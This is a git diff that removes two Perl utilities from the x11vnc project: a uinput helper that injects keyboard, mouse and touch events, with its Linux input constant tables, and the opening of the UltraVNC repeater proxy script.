- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_key: $!\n";
- }
- do_syn();
- fsleep($sleep);
- print STDERR "\n";
-}
-
-sub do_btn {
- my ($button, $down, $sleep) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_KEY);
- $ev .= pack("S", $button);
- $ev .= pack("i", $down);
- print STDERR "do_btn $button $down\n";
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_btn: $!\n";
- }
- do_syn();
- fsleep($sleep);
- print STDERR "\n";
-}
-
-sub do_abs {
- my ($x, $y, $p, $sleep) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_Y);
- $ev .= pack("i", $y);
- print STDERR "do_abs y=$y\n";
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_X);
- $ev .= pack("i", $x);
- print STDERR "do_abs x=$x\n";
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_PRESSURE);
- $ev .= pack("i", $p);
- print STDERR "do_abs p=$p\n";
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- do_syn();
- fsleep($sleep);
- print STDERR "\n";
-}
-
-sub do_rel {
- my ($dx, $dy, $sleep) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_REL);
- $ev .= pack("S", $REL_Y);
- $ev .= pack("i", $dy);
- print STDERR "do_rel dy=$dy\n";
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_rel: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_REL);
- $ev .= pack("S", $REL_X);
- $ev .= pack("i", $dx);
- print STDERR "do_rel dx=$dx\n";
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_rel: $!\n";
- }
- do_syn();
- fsleep($sleep);
- print STDERR "\n";
-}
-
-sub gtod {
- $tv = ("\0" x 4) x 2; # assumes long is 4 bytes. FIXME: use pack.
- $tz = ("\0" x 4) x 2;
- syscall($linux_gettimeofday_syscall, $tv, $tz);
- return $tv;
-}
-
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
-
-sub set_constants {
-
-# from /usr/include/linux/uinput.h /usr/include/linux/input.h and x11vnc.
-
-# #define ABS_MAX 0x3f = 63
-#
-# #define UINPUT_MAX_NAME_SIZE 80
-#
-# struct input_id {
-# __u16 bustype;
-# __u16 vendor;
-# __u16 product;
-# __u16 version;
-# };
-#
-# struct uinput_user_dev {
-# char name[UINPUT_MAX_NAME_SIZE];
-# struct input_id id;
-# int ff_effects_max;
-# int absmax[ABS_MAX + 1];
-# int absmin[ABS_MAX + 1];
-# int absfuzz[ABS_MAX + 1];
-# int absflat[ABS_MAX + 1];
-# };
-# #endif /* __UINPUT_H_ */
-
-$EV_SYN = 0x00;
-$EV_KEY = 0x01;
-$EV_REL = 0x02;
-$EV_ABS = 0x03;
-$EV_MSC = 0x04;
-$EV_SW = 0x05;
-$EV_LED = 0x11;
-$EV_SND = 0x12;
-$EV_REP = 0x14;
-$EV_FF = 0x15;
-$EV_PWR = 0x16;
-$EV_FF_STATUS = 0x17;
-$EV_MAX = 0x1f;
-
-$ID_BUS = 0;
-$ID_VENDOR = 1;
-$ID_PRODUCT = 2;
-$ID_VERSION = 3;
-
-$BUS_PCI = 0x01;
-$BUS_ISAPNP = 0x02;
-$BUS_USB = 0x03;
-$BUS_HIL = 0x04;
-$BUS_BLUETOOTH = 0x05;
-$BUS_VIRTUAL = 0x06;
-
-$BUS_ISA = 0x10;
-$BUS_I8042 = 0x11;
-$BUS_XTKBD = 0x12;
-$BUS_RS232 = 0x13;
-$BUS_GAMEPORT = 0x14;
-$BUS_PARPORT = 0x15;
-$BUS_AMIGA = 0x16;
-$BUS_ADB = 0x17;
-$BUS_I2C = 0x18;
-$BUS_HOST = 0x19;
-$BUS_GSC = 0x1A;
-$BUS_ATARI = 0x1B;
-
-$REL_X = 0x00;
-$REL_Y = 0x01;
-$REL_Z = 0x02;
-$REL_RX = 0x03;
-$REL_RY = 0x04;
-$REL_RZ = 0x05;
-$REL_HWHEEL = 0x06;
-$REL_DIAL = 0x07;
-$REL_WHEEL = 0x08;
-$REL_MISC = 0x09;
-
-$ABS_X = 0x00;
-$ABS_Y = 0x01;
-$ABS_Z = 0x02;
-$ABS_RX = 0x03;
-$ABS_RY = 0x04;
-$ABS_RZ = 0x05;
-$ABS_THROTTLE = 0x06;
-$ABS_RUDDER = 0x07;
-$ABS_WHEEL = 0x08;
-$ABS_GAS = 0x09;
-$ABS_BRAKE = 0x0a;
-$ABS_HAT0X = 0x10;
-$ABS_HAT0Y = 0x11;
-$ABS_HAT1X = 0x12;
-$ABS_HAT1Y = 0x13;
-$ABS_HAT2X = 0x14;
-$ABS_HAT2Y = 0x15;
-$ABS_HAT3X = 0x16;
-$ABS_HAT3Y = 0x17;
-$ABS_PRESSURE = 0x18;
-$ABS_DISTANCE = 0x19;
-$ABS_TILT_X = 0x1a;
-$ABS_TILT_Y = 0x1b;
-$ABS_TOOL_WIDTH = 0x1c;
-$ABS_VOLUME = 0x20;
-$ABS_MISC = 0x28;
-$ABS_MT_TOUCH_MAJOR = 0x30;
-$ABS_MT_TOUCH_MINOR = 0x31;
-$ABS_MT_WIDTH_MAJOR = 0x32;
-$ABS_MT_WIDTH_MINOR = 0x33;
-$ABS_MT_ORIENTATION = 0x34;
-$ABS_MT_POSITION_X = 0x35;
-$ABS_MT_POSITION_Y = 0x36;
-$ABS_MT_TOOL_TYPE = 0x37;
-$ABS_MT_BLOB_ID = 0x38;
-$ABS_MT_TRACKING_ID = 0x39;
-#$ABS_MAX = 0x3f;
-
-
-$BTN_MISC = 0x100;
-$BTN_0 = 0x100;
-$BTN_1 = 0x101;
-$BTN_2 = 0x102;
-$BTN_3 = 0x103;
-$BTN_4 = 0x104;
-$BTN_5 = 0x105;
-$BTN_6 = 0x106;
-$BTN_7 = 0x107;
-$BTN_8 = 0x108;
-$BTN_9 = 0x109;
-
-$BTN_MOUSE = 0x110;
-$BTN_LEFT = 0x110;
-$BTN_RIGHT = 0x111;
-$BTN_MIDDLE = 0x112;
-$BTN_SIDE = 0x113;
-$BTN_EXTRA = 0x114;
-$BTN_FORWARD = 0x115;
-$BTN_BACK = 0x116;
-$BTN_TASK = 0x117;
-
-$BTN_JOYSTICK = 0x120;
-$BTN_TRIGGER = 0x120;
-$BTN_THUMB = 0x121;
-$BTN_THUMB2 = 0x122;
-$BTN_TOP = 0x123;
-$BTN_TOP2 = 0x124;
-$BTN_PINKIE = 0x125;
-$BTN_BASE = 0x126;
-$BTN_BASE2 = 0x127;
-$BTN_BASE3 = 0x128;
-$BTN_BASE4 = 0x129;
-$BTN_BASE5 = 0x12a;
-$BTN_BASE6 = 0x12b;
-$BTN_DEAD = 0x12f;
-
-$BTN_GAMEPAD = 0x130;
-$BTN_A = 0x130;
-$BTN_B = 0x131;
-$BTN_C = 0x132;
-$BTN_X = 0x133;
-$BTN_Y = 0x134;
-$BTN_Z = 0x135;
-$BTN_TL = 0x136;
-$BTN_TR = 0x137;
-$BTN_TL2 = 0x138;
-$BTN_TR2 = 0x139;
-$BTN_SELECT = 0x13a;
-$BTN_START = 0x13b;
-$BTN_MODE = 0x13c;
-$BTN_THUMBL = 0x13d;
-$BTN_THUMBR = 0x13e;
-
-$BTN_DIGI = 0x140;
-$BTN_TOOL_PEN = 0x140;
-$BTN_TOOL_RUBBER = 0x141;
-$BTN_TOOL_BRUSH = 0x142;
-$BTN_TOOL_PENCIL = 0x143;
-$BTN_TOOL_AIRBRUSH = 0x144;
-$BTN_TOOL_FINGER = 0x145;
-$BTN_TOOL_MOUSE = 0x146;
-$BTN_TOOL_LENS = 0x147;
-$BTN_TOUCH = 0x14a;
-$BTN_STYLUS = 0x14b;
-$BTN_STYLUS2 = 0x14c;
-$BTN_TOOL_DOUBLETAP = 0x14d;
-$BTN_TOOL_TRIPLETAP = 0x14e;
-
-$BTN_WHEEL = 0x150;
-$BTN_GEAR_DOWN = 0x150;
-$BTN_GEAR_UP = 0x151;
-
-$SYN_REPORT = 0;
-$SYN_CONFIG = 1;
-$SYN_MT_REPORT = 2;
-
-$KEY_RESERVED = 0;
-$KEY_ESC = 1;
-$KEY_1 = 2;
-$KEY_2 = 3;
-$KEY_3 = 4;
-$KEY_4 = 5;
-$KEY_5 = 6;
-$KEY_6 = 7;
-$KEY_7 = 8;
-$KEY_8 = 9;
-$KEY_9 = 10;
-$KEY_0 = 11;
-$KEY_MINUS = 12;
-$KEY_EQUAL = 13;
-$KEY_BACKSPACE = 14;
-$KEY_TAB = 15;
-$KEY_Q = 16;
-$KEY_W = 17;
-$KEY_E = 18;
-$KEY_R = 19;
-$KEY_T = 20;
-$KEY_Y = 21;
-$KEY_U = 22;
-$KEY_I = 23;
-$KEY_O = 24;
-$KEY_P = 25;
-$KEY_LEFTBRACE = 26;
-$KEY_RIGHTBRACE = 27;
-$KEY_ENTER = 28;
-$KEY_LEFTCTRL = 29;
-$KEY_A = 30;
-$KEY_S = 31;
-$KEY_D = 32;
-$KEY_F = 33;
-$KEY_G = 34;
-$KEY_H = 35;
-$KEY_J = 36;
-$KEY_K = 37;
-$KEY_L = 38;
-$KEY_SEMICOLON = 39;
-$KEY_APOSTROPHE = 40;
-$KEY_GRAVE = 41;
-$KEY_LEFTSHIFT = 42;
-$KEY_BACKSLASH = 43;
-$KEY_Z = 44;
-$KEY_X = 45;
-$KEY_C = 46;
-$KEY_V = 47;
-$KEY_B = 48;
-$KEY_N = 49;
-$KEY_M = 50;
-$KEY_COMMA = 51;
-$KEY_DOT = 52;
-$KEY_SLASH = 53;
-$KEY_RIGHTSHIFT = 54;
-$KEY_KPASTERISK = 55;
-$KEY_LEFTALT = 56;
-$KEY_SPACE = 57;
-$KEY_CAPSLOCK = 58;
-$KEY_F1 = 59;
-$KEY_F2 = 60;
-$KEY_F3 = 61;
-$KEY_F4 = 62;
-$KEY_F5 = 63;
-$KEY_F6 = 64;
-$KEY_F7 = 65;
-$KEY_F8 = 66;
-$KEY_F9 = 67;
-$KEY_F10 = 68;
-$KEY_NUMLOCK = 69;
-$KEY_SCROLLLOCK = 70;
-$KEY_KP7 = 71;
-$KEY_KP8 = 72;
-$KEY_KP9 = 73;
-$KEY_KPMINUS = 74;
-$KEY_KP4 = 75;
-$KEY_KP5 = 76;
-$KEY_KP6 = 77;
-$KEY_KPPLUS = 78;
-$KEY_KP1 = 79;
-$KEY_KP2 = 80;
-$KEY_KP3 = 81;
-$KEY_KP0 = 82;
-$KEY_KPDOT = 83;
-$KEY_103RD = 84;
-$KEY_F13 = 85;
-$KEY_102ND = 86;
-$KEY_F11 = 87;
-$KEY_F12 = 88;
-$KEY_F14 = 89;
-$KEY_F15 = 90;
-$KEY_F16 = 91;
-$KEY_F17 = 92;
-$KEY_F18 = 93;
-$KEY_F19 = 94;
-$KEY_F20 = 95;
-$KEY_KPENTER = 96;
-$KEY_RIGHTCTRL = 97;
-$KEY_KPSLASH = 98;
-$KEY_SYSRQ = 99;
-$KEY_RIGHTALT = 100;
-$KEY_LINEFEED = 101;
-$KEY_HOME = 102;
-$KEY_UP = 103;
-$KEY_PAGEUP = 104;
-$KEY_LEFT = 105;
-$KEY_RIGHT = 106;
-$KEY_END = 107;
-$KEY_DOWN = 108;
-$KEY_PAGEDOWN = 109;
-$KEY_INSERT = 110;
-$KEY_DELETE = 111;
-$KEY_MACRO = 112;
-$KEY_MUTE = 113;
-$KEY_VOLUMEDOWN = 114;
-$KEY_VOLUMEUP = 115;
-$KEY_POWER = 116;
-$KEY_KPEQUAL = 117;
-$KEY_KPPLUSMINUS = 118;
-$KEY_PAUSE = 119;
-$KEY_F21 = 120;
-$KEY_F22 = 121;
-$KEY_F23 = 122;
-$KEY_F24 = 123;
-$KEY_KPCOMMA = 124;
-$KEY_LEFTMETA = 125;
-$KEY_RIGHTMETA = 126;
-$KEY_COMPOSE = 127;
-$KEY_STOP = 128;
-$KEY_AGAIN = 129;
-$KEY_PROPS = 130;
-$KEY_UNDO = 131;
-$KEY_FRONT = 132;
-$KEY_COPY = 133;
-$KEY_OPEN = 134;
-$KEY_PASTE = 135;
-$KEY_FIND = 136;
-$KEY_CUT = 137;
-$KEY_HELP = 138;
-$KEY_MENU = 139;
-$KEY_CALC = 140;
-$KEY_SETUP = 141;
-$KEY_SLEEP = 142;
-$KEY_WAKEUP = 143;
-$KEY_FILE = 144;
-$KEY_SENDFILE = 145;
-$KEY_DELETEFILE = 146;
-$KEY_XFER = 147;
-$KEY_PROG1 = 148;
-$KEY_PROG2 = 149;
-$KEY_WWW = 150;
-$KEY_MSDOS = 151;
-$KEY_COFFEE = 152;
-$KEY_DIRECTION = 153;
-$KEY_CYCLEWINDOWS = 154;
-$KEY_MAIL = 155;
-$KEY_BOOKMARKS = 156;
-$KEY_COMPUTER = 157;
-$KEY_BACK = 158;
-$KEY_FORWARD = 159;
-$KEY_CLOSECD = 160;
-$KEY_EJECTCD = 161;
-$KEY_EJECTCLOSECD = 162;
-$KEY_NEXTSONG = 163;
-$KEY_PLAYPAUSE = 164;
-$KEY_PREVIOUSSONG = 165;
-$KEY_STOPCD = 166;
-$KEY_RECORD = 167;
-$KEY_REWIND = 168;
-$KEY_PHONE = 169;
-$KEY_ISO = 170;
-$KEY_CONFIG = 171;
-$KEY_HOMEPAGE = 172;
-$KEY_REFRESH = 173;
-$KEY_EXIT = 174;
-$KEY_MOVE = 175;
-$KEY_EDIT = 176;
-$KEY_SCROLLUP = 177;
-$KEY_SCROLLDOWN = 178;
-$KEY_KPLEFTPAREN = 179;
-$KEY_KPRIGHTPAREN = 180;
-$KEY_INTL1 = 181;
-$KEY_INTL2 = 182;
-$KEY_INTL3 = 183;
-$KEY_INTL4 = 184;
-$KEY_INTL5 = 185;
-$KEY_INTL6 = 186;
-$KEY_INTL7 = 187;
-$KEY_INTL8 = 188;
-$KEY_INTL9 = 189;
-$KEY_LANG1 = 190;
-$KEY_LANG2 = 191;
-$KEY_LANG3 = 192;
-$KEY_LANG4 = 193;
-$KEY_LANG5 = 194;
-$KEY_LANG6 = 195;
-$KEY_LANG7 = 196;
-$KEY_LANG8 = 197;
-$KEY_LANG9 = 198;
-$KEY_PLAYCD = 200;
-$KEY_PAUSECD = 201;
-$KEY_PROG3 = 202;
-$KEY_PROG4 = 203;
-$KEY_SUSPEND = 205;
-$KEY_CLOSE = 206;
-$KEY_PLAY = 207;
-$KEY_FASTFORWARD = 208;
-$KEY_BASSBOOST = 209;
-$KEY_PRINT = 210;
-$KEY_HP = 211;
-$KEY_CAMERA = 212;
-$KEY_SOUND = 213;
-$KEY_QUESTION = 214;
-$KEY_EMAIL = 215;
-$KEY_CHAT = 216;
-$KEY_SEARCH = 217;
-$KEY_CONNECT = 218;
-$KEY_FINANCE = 219;
-$KEY_SPORT = 220;
-$KEY_SHOP = 221;
-$KEY_ALTERASE = 222;
-$KEY_CANCEL = 223;
-$KEY_BRIGHTNESSDOWN = 224;
-$KEY_BRIGHTNESSUP = 225;
-$KEY_MEDIA = 226;
-$KEY_UNKNOWN = 240;
-$KEY_OK = 0x160;
-$KEY_SELECT = 0x161;
-$KEY_GOTO = 0x162;
-$KEY_CLEAR = 0x163;
-$KEY_POWER2 = 0x164;
-$KEY_OPTION = 0x165;
-$KEY_INFO = 0x166;
-$KEY_TIME = 0x167;
-$KEY_VENDOR = 0x168;
-$KEY_ARCHIVE = 0x169;
-$KEY_PROGRAM = 0x16a;
-$KEY_CHANNEL = 0x16b;
-$KEY_FAVORITES = 0x16c;
-$KEY_EPG = 0x16d;
-$KEY_PVR = 0x16e;
-$KEY_MHP = 0x16f;
-$KEY_LANGUAGE = 0x170;
-$KEY_TITLE = 0x171;
-$KEY_SUBTITLE = 0x172;
-$KEY_ANGLE = 0x173;
-$KEY_ZOOM = 0x174;
-$KEY_MODE = 0x175;
-$KEY_KEYBOARD = 0x176;
-$KEY_SCREEN = 0x177;
-$KEY_PC = 0x178;
-$KEY_TV = 0x179;
-$KEY_TV2 = 0x17a;
-$KEY_VCR = 0x17b;
-$KEY_VCR2 = 0x17c;
-$KEY_SAT = 0x17d;
-$KEY_SAT2 = 0x17e;
-$KEY_CD = 0x17f;
-$KEY_TAPE = 0x180;
-$KEY_RADIO = 0x181;
-$KEY_TUNER = 0x182;
-$KEY_PLAYER = 0x183;
-$KEY_TEXT = 0x184;
-$KEY_DVD = 0x185;
-$KEY_AUX = 0x186;
-$KEY_MP3 = 0x187;
-$KEY_AUDIO = 0x188;
-$KEY_VIDEO = 0x189;
-$KEY_DIRECTORY = 0x18a;
-$KEY_LIST = 0x18b;
-$KEY_MEMO = 0x18c;
-$KEY_CALENDAR = 0x18d;
-$KEY_RED = 0x18e;
-$KEY_GREEN = 0x18f;
-$KEY_YELLOW = 0x190;
-$KEY_BLUE = 0x191;
-$KEY_CHANNELUP = 0x192;
-$KEY_CHANNELDOWN = 0x193;
-$KEY_FIRST = 0x194;
-$KEY_LAST = 0x195;
-$KEY_AB = 0x196;
-$KEY_NEXT = 0x197;
-$KEY_RESTART = 0x198;
-$KEY_SLOW = 0x199;
-$KEY_SHUFFLE = 0x19a;
-$KEY_BREAK = 0x19b;
-$KEY_PREVIOUS = 0x19c;
-$KEY_DIGITS = 0x19d;
-$KEY_TEEN = 0x19e;
-$KEY_TWEN = 0x19f;
-$KEY_DEL_EOL = 0x1c0;
-$KEY_DEL_EOS = 0x1c1;
-$KEY_INS_LINE = 0x1c2;
-$KEY_DEL_LINE = 0x1c3;
-$KEY_MAX = 0x1ff;
-
-
- $key_lookup{XK_Escape} = $KEY_ESC;
- $key_lookup{XK_1} = $KEY_1;
- $key_lookup{XK_2} = $KEY_2;
- $key_lookup{XK_3} = $KEY_3;
- $key_lookup{XK_4} = $KEY_4;
- $key_lookup{XK_5} = $KEY_5;
- $key_lookup{XK_6} = $KEY_6;
- $key_lookup{XK_7} = $KEY_7;
- $key_lookup{XK_8} = $KEY_8;
- $key_lookup{XK_9} = $KEY_9;
- $key_lookup{XK_0} = $KEY_0;
- $key_lookup{XK_exclam} = $KEY_1;
- $key_lookup{XK_at} = $KEY_2;
- $key_lookup{XK_numbersign} = $KEY_3;
- $key_lookup{XK_dollar} = $KEY_4;
- $key_lookup{XK_percent} = $KEY_5;
- $key_lookup{XK_asciicircum} = $KEY_6;
- $key_lookup{XK_ampersand} = $KEY_7;
- $key_lookup{XK_asterisk} = $KEY_8;
- $key_lookup{XK_parenleft} = $KEY_9;
- $key_lookup{XK_parenright} = $KEY_0;
- $key_lookup{XK_minus} = $KEY_MINUS;
- $key_lookup{XK_underscore} = $KEY_MINUS;
- $key_lookup{XK_equal} = $KEY_EQUAL;
- $key_lookup{XK_plus} = $KEY_EQUAL;
- $key_lookup{XK_BackSpace} = $KEY_BACKSPACE;
- $key_lookup{XK_Tab} = $KEY_TAB;
- $key_lookup{XK_q} = $KEY_Q;
- $key_lookup{XK_Q} = $KEY_Q;
- $key_lookup{XK_w} = $KEY_W;
- $key_lookup{XK_W} = $KEY_W;
- $key_lookup{XK_e} = $KEY_E;
- $key_lookup{XK_E} = $KEY_E;
- $key_lookup{XK_r} = $KEY_R;
- $key_lookup{XK_R} = $KEY_R;
- $key_lookup{XK_t} = $KEY_T;
- $key_lookup{XK_T} = $KEY_T;
- $key_lookup{XK_y} = $KEY_Y;
- $key_lookup{XK_Y} = $KEY_Y;
- $key_lookup{XK_u} = $KEY_U;
- $key_lookup{XK_U} = $KEY_U;
- $key_lookup{XK_i} = $KEY_I;
- $key_lookup{XK_I} = $KEY_I;
- $key_lookup{XK_o} = $KEY_O;
- $key_lookup{XK_O} = $KEY_O;
- $key_lookup{XK_p} = $KEY_P;
- $key_lookup{XK_P} = $KEY_P;
- $key_lookup{XK_braceleft} = $KEY_LEFTBRACE;
- $key_lookup{XK_braceright} = $KEY_RIGHTBRACE;
- $key_lookup{XK_bracketleft} = $KEY_LEFTBRACE;
- $key_lookup{XK_bracketright} = $KEY_RIGHTBRACE;
- $key_lookup{XK_Return} = $KEY_ENTER;
- $key_lookup{XK_Control_L} = $KEY_LEFTCTRL;
- $key_lookup{XK_a} = $KEY_A;
- $key_lookup{XK_A} = $KEY_A;
- $key_lookup{XK_s} = $KEY_S;
- $key_lookup{XK_S} = $KEY_S;
- $key_lookup{XK_d} = $KEY_D;
- $key_lookup{XK_D} = $KEY_D;
- $key_lookup{XK_f} = $KEY_F;
- $key_lookup{XK_F} = $KEY_F;
- $key_lookup{XK_g} = $KEY_G;
- $key_lookup{XK_G} = $KEY_G;
- $key_lookup{XK_h} = $KEY_H;
- $key_lookup{XK_H} = $KEY_H;
- $key_lookup{XK_j} = $KEY_J;
- $key_lookup{XK_J} = $KEY_J;
- $key_lookup{XK_k} = $KEY_K;
- $key_lookup{XK_K} = $KEY_K;
- $key_lookup{XK_l} = $KEY_L;
- $key_lookup{XK_L} = $KEY_L;
- $key_lookup{XK_semicolon} = $KEY_SEMICOLON;
- $key_lookup{XK_colon} = $KEY_SEMICOLON;
- $key_lookup{XK_apostrophe} = $KEY_APOSTROPHE;
- $key_lookup{XK_quotedbl} = $KEY_APOSTROPHE;
- $key_lookup{XK_grave} = $KEY_GRAVE;
- $key_lookup{XK_asciitilde} = $KEY_GRAVE;
- $key_lookup{XK_Shift_L} = $KEY_LEFTSHIFT;
- $key_lookup{XK_backslash} = $KEY_BACKSLASH;
- $key_lookup{XK_bar} = $KEY_BACKSLASH;
- $key_lookup{XK_z} = $KEY_Z;
- $key_lookup{XK_Z} = $KEY_Z;
- $key_lookup{XK_x} = $KEY_X;
- $key_lookup{XK_X} = $KEY_X;
- $key_lookup{XK_c} = $KEY_C;
- $key_lookup{XK_C} = $KEY_C;
- $key_lookup{XK_v} = $KEY_V;
- $key_lookup{XK_V} = $KEY_V;
- $key_lookup{XK_b} = $KEY_B;
- $key_lookup{XK_B} = $KEY_B;
- $key_lookup{XK_n} = $KEY_N;
- $key_lookup{XK_N} = $KEY_N;
- $key_lookup{XK_m} = $KEY_M;
- $key_lookup{XK_M} = $KEY_M;
- $key_lookup{XK_comma} = $KEY_COMMA;
- $key_lookup{XK_less} = $KEY_COMMA;
- $key_lookup{XK_period} = $KEY_DOT;
- $key_lookup{XK_greater} = $KEY_DOT;
- $key_lookup{XK_slash} = $KEY_SLASH;
- $key_lookup{XK_question} = $KEY_SLASH;
- $key_lookup{XK_Shift_R} = $KEY_RIGHTSHIFT;
- $key_lookup{XK_KP_Multiply} = $KEY_KPASTERISK;
- $key_lookup{XK_Alt_L} = $KEY_LEFTALT;
- $key_lookup{XK_space} = $KEY_SPACE;
- $key_lookup{XK_Caps_Lock} = $KEY_CAPSLOCK;
- $key_lookup{XK_F1} = $KEY_F1;
- $key_lookup{XK_F2} = $KEY_F2;
- $key_lookup{XK_F3} = $KEY_F3;
- $key_lookup{XK_F4} = $KEY_F4;
- $key_lookup{XK_F5} = $KEY_F5;
- $key_lookup{XK_F6} = $KEY_F6;
- $key_lookup{XK_F7} = $KEY_F7;
- $key_lookup{XK_F8} = $KEY_F8;
- $key_lookup{XK_F9} = $KEY_F9;
- $key_lookup{XK_F10} = $KEY_F10;
- $key_lookup{XK_Num_Lock} = $KEY_NUMLOCK;
- $key_lookup{XK_Scroll_Lock} = $KEY_SCROLLLOCK;
- $key_lookup{XK_KP_7} = $KEY_KP7;
- $key_lookup{XK_KP_8} = $KEY_KP8;
- $key_lookup{XK_KP_9} = $KEY_KP9;
- $key_lookup{XK_KP_Subtract} = $KEY_KPMINUS;
- $key_lookup{XK_KP_4} = $KEY_KP4;
- $key_lookup{XK_KP_5} = $KEY_KP5;
- $key_lookup{XK_KP_6} = $KEY_KP6;
- $key_lookup{XK_KP_Add} = $KEY_KPPLUS;
- $key_lookup{XK_KP_1} = $KEY_KP1;
- $key_lookup{XK_KP_2} = $KEY_KP2;
- $key_lookup{XK_KP_3} = $KEY_KP3;
- $key_lookup{XK_KP_0} = $KEY_KP0;
- $key_lookup{XK_KP_Decimal} = $KEY_KPDOT;
- $key_lookup{XK_F13} = $KEY_F13;
- $key_lookup{XK_F11} = $KEY_F11;
- $key_lookup{XK_F12} = $KEY_F12;
- $key_lookup{XK_F14} = $KEY_F14;
- $key_lookup{XK_F15} = $KEY_F15;
- $key_lookup{XK_F16} = $KEY_F16;
- $key_lookup{XK_F17} = $KEY_F17;
- $key_lookup{XK_F18} = $KEY_F18;
- $key_lookup{XK_F19} = $KEY_F19;
- $key_lookup{XK_F20} = $KEY_F20;
- $key_lookup{XK_KP_Enter} = $KEY_KPENTER;
- $key_lookup{XK_Control_R} = $KEY_RIGHTCTRL;
- $key_lookup{XK_KP_Divide} = $KEY_KPSLASH;
- $key_lookup{XK_Sys_Req} = $KEY_SYSRQ;
- $key_lookup{XK_Alt_R} = $KEY_RIGHTALT;
- $key_lookup{XK_Linefeed} = $KEY_LINEFEED;
- $key_lookup{XK_Home} = $KEY_HOME;
- $key_lookup{XK_Up} = $KEY_UP;
- $key_lookup{XK_Page_Up} = $KEY_PAGEUP;
- $key_lookup{XK_Left} = $KEY_LEFT;
- $key_lookup{XK_Right} = $KEY_RIGHT;
- $key_lookup{XK_End} = $KEY_END;
- $key_lookup{XK_Down} = $KEY_DOWN;
- $key_lookup{XK_Page_Down} = $KEY_PAGEDOWN;
- $key_lookup{XK_Insert} = $KEY_INSERT;
- $key_lookup{XK_Delete} = $KEY_DELETE;
- $key_lookup{XK_KP_Equal} = $KEY_KPEQUAL;
- $key_lookup{XK_Pause} = $KEY_PAUSE;
- $key_lookup{XK_F21} = $KEY_F21;
- $key_lookup{XK_F22} = $KEY_F22;
- $key_lookup{XK_F23} = $KEY_F23;
- $key_lookup{XK_F24} = $KEY_F24;
- $key_lookup{XK_KP_Separator} = $KEY_KPCOMMA;
- $key_lookup{XK_Meta_L} = $KEY_LEFTMETA;
- $key_lookup{XK_Meta_R} = $KEY_RIGHTMETA;
- $key_lookup{XK_Multi_key} = $KEY_COMPOSE;
-
-$ABS_MAX = 63;
-
-$UI_DEV_CREATE = 0x5501;
-$UI_DEV_DESTROY = 0x5502;
-$UI_SET_EVBIT = 0x40045564;
-$UI_SET_KEYBIT = 0x40045565;
-$UI_SET_RELBIT = 0x40045566;
-$UI_SET_ABSBIT = 0x40045567;
-
-# FIXME: time hires, etc.
-$linux_gettimeofday_syscall = 78;
-
-$O_RDONLY = 00;
-$O_WRONLY = 01;
-$O_RDWR = 02;
-$O_NDELAY = 04000;
-
-}
diff --git a/x11vnc/misc/ultravnc_repeater.pl b/x11vnc/misc/ultravnc_repeater.pl
deleted file mode 100755
index 0c44a05..0000000
--- a/x11vnc/misc/ultravnc_repeater.pl
+++ /dev/null
@@ -1,741 +0,0 @@
-#!/usr/bin/env perl
-#
-# Copyright (c) 2009-2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# ultravnc_repeater.pl is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# ultravnc_repeater.pl is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with ultravnc_repeater.pl; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#
-
-my $usage = '
-ultravnc_repeater.pl:
- perl script implementing the ultravnc repeater
- proxy protocol.
-
-protocol: Listen on one port for vnc clients (default 5900.)
- Listen on one port for vnc servers (default 5500.)
- Read 250 bytes from connecting vnc client or server.
- Accept ID:<string> from clients and servers, connect them
- together once both are present.
-
- The string "RFB 000.000\n" is sent to the client (the client
- must understand this means send ID:... or host:port.)
- Also accept <host>:<port> from clients and make the
- connection to the vnc server immediately.
-
- Note there is no authentication or security WRT ID names or
- identities; it is up to the client and server to completely
- manage that aspect and whether to encrypt the session, etc.
-
-usage: ultravnc_repeater.pl [-r] [client_port [server_port]]
-
-Use -r to refuse new server/client connections when there is an existing
-server/client ID. The default is to close the previous one.
-
-To write to a log file set the env. var ULTRAVNC_REPEATER_LOGFILE.
-
-To run in a loop restarting the server if it exits set the env. var.
-ULTRAVNC_REPEATER_LOOP=1 or ULTRAVNC_REPEATER_LOOP=BG, the latter
-forks into the background. Set ULTRAVNC_REPEATER_PIDFILE to a file
-to store the master pid in.
-
-Set ULTRAVNC_REPEATER_NO_RFB=1 to disable sending "RFB 000.000" to
-the client. Then this program acts as general TCP rendezvous tool.
-
-Examples:
-
- ultravnc_repeater.pl
- ultravnc_repeater.pl -r
- ultravnc_repeater.pl 5901
- ultravnc_repeater.pl 5901 5501
-
- env ULTRAVNC_REPEATER_LOOP=BG ULTRAVNC_REPEATER_LOGFILE=/tmp/u.log ultravnc_repeater.pl ...
-
-';
-
-use strict;
-
-# Set up logging:
-#
-if (exists $ENV{ULTRAVNC_REPEATER_LOGFILE}) {
- close STDOUT;
- if (!open(STDOUT, ">>$ENV{ULTRAVNC_REPEATER_LOGFILE}")) {
- die "ultravnc_repeater.pl: $ENV{ULTRAVNC_REPEATER_LOGFILE} $!\n";
- }
- close STDERR;
- open(STDERR, ">&STDOUT");
-}
